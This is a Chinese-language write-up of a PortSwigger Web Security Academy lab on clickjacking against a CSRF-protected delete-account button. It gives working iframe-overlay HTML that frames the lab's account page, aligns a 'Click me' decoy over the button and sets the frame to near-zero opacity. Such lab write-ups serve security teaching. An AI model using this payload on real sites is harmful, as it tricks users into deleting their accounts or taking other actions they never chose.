学徒-点击劫持-具有CSRF令牌保护
# 实验室:基本点击劫持 与 CSRF令牌保护
# 题目
此实验室包含登录功能和受 CSRF 令牌保护的删除帐户按钮。用户将点击在诱饵网站上显示 “click” 一词的元素。
若要解决实验室问题,请制作一些 HTML 来框住帐户页面,然后欺骗用户删除他们的帐户。当账户被删除时,该实验就解决了。
你可以使用以下凭据登录到自己的帐户:wiener:peter
笔记
受害者将使用 Chrome,因此请在该浏览器上测试你的漏洞利用。
- name: 实验室-学徒
desc: 基本点击劫持 与 CSRF令牌保护 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
在账户页面中,你可以看到一个 “Delete account” 删除当前账户的功能。
构建点击劫持载荷的方式有两种。
# 手动生成载荷
这是教程中提供的一段代码,我们可以基于这段代码来手动构建载荷:
<head>
<style>
#target_website {
position:relative;
width:???px;
height:???px;
opacity:???;
z-index:2;
}
#decoy_website {
position:absolute;
top: ???px;
left: ???px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://<目标站点>/">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
先填入目标站点的 URL,然后设置基本的宽、高参数,透明度先设置为 0.4:
笔记
URL 中不要携带id=wiener
参数,否则受害者会一直跳转至wiener
账户的页面,由于受害者没有wiener
账户的 Cookie,所以又会跳转至登录界面。这将导致最终的攻击失败。
<head>
<style>
#target_website {
position:relative;
width:600px;
height:600px;
opacity:0.4;
z-index:2;
}
#decoy_website {
position:absolute;
top: 400px;
left: 200px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://0a9b004103d3d94f802d53e800140012.web-security-academy.net/my-account">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
将载荷保存到漏洞利用服务器上。
访问测试,看看效果。
点击的位置貌似偏了一点,没事,我们可以手动调整。
有一个小技巧,可以使用浏览器的开发者工具,临时调整元素的位置。调到你满意的位置之后,记录参数值,再到实际的代码中进行更改。
此处我通过开发者工具,得到满意的位置为top:493px
和left:55px
。
回到漏洞利用服务器,更改 top 和 left 参数:
(此处我顺带把文本修改为了 “Click me”)
<head>
<style>
#target_website {
position:relative;
width:600px;
height:600px;
opacity:0.4;
z-index:2;
}
#decoy_website {
position:absolute;
top: 493px;
left: 55px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://0a9b004103d3d94f802d53e800140012.web-security-academy.net/my-account">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
保存之后,查看效果,完美!
最后再把 “不透明度” 调整为 0.0001:opacity:0.0001
。
看看效果,完全隐藏了起来。
将载荷发送给受害用户,劫持成功。
实验完成。
# BurpSuite Clickbandit工具(自动生成载荷)
在下一个实验室中演示,还有动图呢。
最后一个实验室也有动图,更详细。